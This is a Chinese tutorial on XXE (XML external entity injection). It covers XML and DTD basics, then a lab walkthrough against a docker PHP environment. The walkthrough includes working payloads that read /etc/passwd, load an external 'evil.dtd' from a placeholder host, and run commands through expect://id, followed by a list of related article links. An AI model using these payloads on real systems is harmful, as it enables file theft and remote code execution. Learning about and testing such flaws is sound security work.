原理:XML外部实体注入,简称XXE漏洞,XML数据在传输中数据被修改,服务器执行被恶意插入的代码。当允许引用外部实体时,通过构造恶意内容,就可能导致任意文件读取、系统命令执行、内网端口探测、攻击内网网站等危害。

XML简介:XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据,定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明,DTD文档类型定义,文档元素。

DTD(文档类型定义):

1)内部声明:

语法:<!DOCTYPE 根元素[元素声明]>

示例:

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
]>
<note>
<to>John</to>
</note>

2)外部声明:

语法:<!DOCTYPE 根元素 SYSTEM "文件名">

示例:

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>John</to>
</note>

note.dtd文件内容:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>

DTD实体:

1)内部实体声明:

语法:<!ENTITY 实体名称,“实体值”>

示例:

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]> <test>&writer;&copyright;</test>

2)外部实体声明:

语法:<!ENTITY 实体名称 SYSTEM “URI”>

示例:

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.xxx.com/dtd/note.dtd">
]>
<author>&writer;</author>

漏洞利用方法:

1)直接通过DTD外部实体声明:

<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM “file:///etc/passwd”>
]>
<c>&b;</c>

2)通过DTD文档引入外部DTD文档,再引入外部实体声明

<?xml version="1.0"?>
<!DOCTYPE c SYSTEM “http://www.xxx.com/evil.dtd”>
<c>&b;</c> DTD文件内容:
<!ENTITY b SYSTEM "file:///etc/paswd">

3)通过DTD外部实体声明引入外部实体声明  

<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM “http://www.xxx.com/evil.dtd”>
%d;
]>
<c>&b;</c> DTD文件内容:
<!ENTITY b SYSTEM “file:///etc/passwd”>  

 

示例:docker中的php_xxe模块示例

php中的libxml2.9.0以后,就默认不解析外部实体了,docker环境启动后,可以看到phpinfo页面显示的libxml版本。

该环境下www目录下有四个文件

除了index.php外,其他文件我们都可以利用xxe漏洞来读取文件等操作。

打开dom.php

抓包,然后发送到repeater:

1.读取文件:

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
<core id="test101">
<description>&xxe;</description>
</core>
</catalog>

2.扫描端口

通过返回不同字段来判断是否开启了端口。

3.远程代码执行

这种漏洞需要特定的条件才能触发,当PHP expect模块被加载到了有xxe漏洞的系统或者xml的内部应用程序上,我们就可以进行远程代码执行了

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
<core id="test101">
<description>&xxe;</description>
</core>
</catalog>

  

  

 

XXE漏洞的更多相关文章

  1. xxe漏洞的学习与利用总结

    前言 对于xxe漏洞的认识一直都不是很清楚,而在我为期不长的挖洞生涯中也没有遇到过,所以就想着总结一下,撰写此文以作为记录,加深自己对xxe漏洞的认识. xml基础知识 要了解xxe漏洞,那么一定得先 ...

  2. xxe漏洞检测及代码执行过程

    这两天看了xxe漏洞,写一下自己的理解,xxe漏洞主要针对webservice危险的引用的外部实体并且未对外部实体进行敏感字符的过滤,从而可以造成命令执行,目録遍历等.首先存在漏洞的web服务一定是存 ...

  3. XXE漏洞学习

    0x00 什么是XML 1.定义 XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据.定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.XML文档结构包括XML声明.DTD文 ...

  4. ASP.NET微信支付XXE漏洞修复

    1. XXE场景 关于XML解析存在的安全问题指引 微信支付商户,最近暴露的XML外部实体注入漏洞(XML External Entity Injection,简称 XXE),该安全问题是由XML组件 ...

  5. java中xxe漏洞修复方法

    java中禁止外部实体引用的设置方法不止一种,这样就导致有些开发者修复的时候采用的错误的方法 之所以写这篇文章是有原因的!最早是有朋友在群里发了如下一个pdf, 而当时已经是2019年1月末了,应该不 ...

  6. [Web安全] XXE漏洞攻防学习(上)

    0x00.XXE漏洞 XXE漏洞全称XML External Entity Injection 即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶 ...

  7. [Web安全] XXE漏洞攻防学习(中)

    0x00.XXE漏洞攻击实例 攻击思路: 1. 引用外部实体远程文件读取 2. Blind XXE 3. Dos 0x01.外部实体引用,有回显 实验操作平台:bWAPP平台上的XXE题目 题目: 进 ...

  8. 浅谈XXE漏洞攻击与防御——本质上就是注入,盗取数据用

    浅谈XXE漏洞攻击与防御 from:https://thief.one/2017/06/20/1/ XML基础 在介绍xxe漏洞前,先学习温顾一下XML的基础知识.XML被设计为传输和存储数据,其焦点 ...

  9. Apache Roller 5.0.3 XXE漏洞分析

    下载5.0.2的版本来分析 5.0.2的war包地址 http://archive.apache.org/dist/roller/roller-5/v5.0.2/bin/roller-weblogge ...

随机推荐

  1. Linux邮件服务入门

    前言 想定期查询天气并提示我,很容易想到了创建定时任务然后给我自己发邮件,进而学习了linux如何发邮件,下面就开始吧. 开启邮件服务(Ubuntu) 首先执行mail命令看有没有安装,没有的话会提示 ...

  2. IE10 解决input file 同一文件不触发onchange事件

    if (window.ActiveXObject) { var reg = /10\.0/; var str = navigator.userAgent; if (reg.test(str)) { v ...

  3. HDU 4918 Query on the subtree(动态点分治+树状数组)

    题意 给定一棵 \(n\) 个节点的树,每个节点有点权.完成 \(q\) 个操作--操作分两种:修改点 \(x\) 的点权.查询与 \(x\) 距离小于等于 \(d\) 的权值总和. \(1 \leq ...

  4. myCat知识笔记

    数据字典做成全局表(在各个分库中都有备份) ER表, 关联表都放在同一个分库上, 有利于数据关联查询 一致性hash ,/hash slot 主要为了解决分布式节点扩容时, 迁移数据的问题. mySq ...

  5. 【C#】Using的一个比较好的语言文字解释

    其实很早就开始使用using了.但是对这个语法糖我自己一直没有总结也没有一个很好的文字描述解释.今天看其他的博文的时候发现有人对其做了简单的解释我觉得很好,很适合一种讲解.于是抄录下来 using ( ...

  6. mybatis结合mysql批量操作及查询sql

    MySQL数据库 批量操作主要使用的是Mybatis的foreach,遍历参数列表执行相应的操作,所以批量插入/更新/删除的写法是类似的,只是SQL略有区别而已.MySql批量操作需要数据库连接配置a ...

  7. 转载:避免重复插入,更新的sql

    本文章来给大家提供三种在mysql中避免重复插入记录方法,主要是讲到了ignore,Replace,ON DUPLICATE KEY UPDATE三种方法,各位同学可尝试参考. 案一:使用ignore ...

  8. Latex: 添加IEEE论文keywords

    参考: How to use \IEEEkeywords Latex: 添加IEEE论文keywords 方法: \begin{IEEEkeywords} keyword1, keyword2. \e ...

  9. XML.libXml2_ZC

    1.字符串比较函数: xmlStrcmp(...) 这是大小写敏感的比较 xmlStrcasecmp(...) 这是大小写不敏感的比较(忽略字符串里面字符的大小写) 2.查找节点 2.1.循环 2.2 ...

  10. [HTML]js读取XML文件并解析

    xml文件:test.xml <?xml version="1.0"?> <note> <to>George</to> <fr ...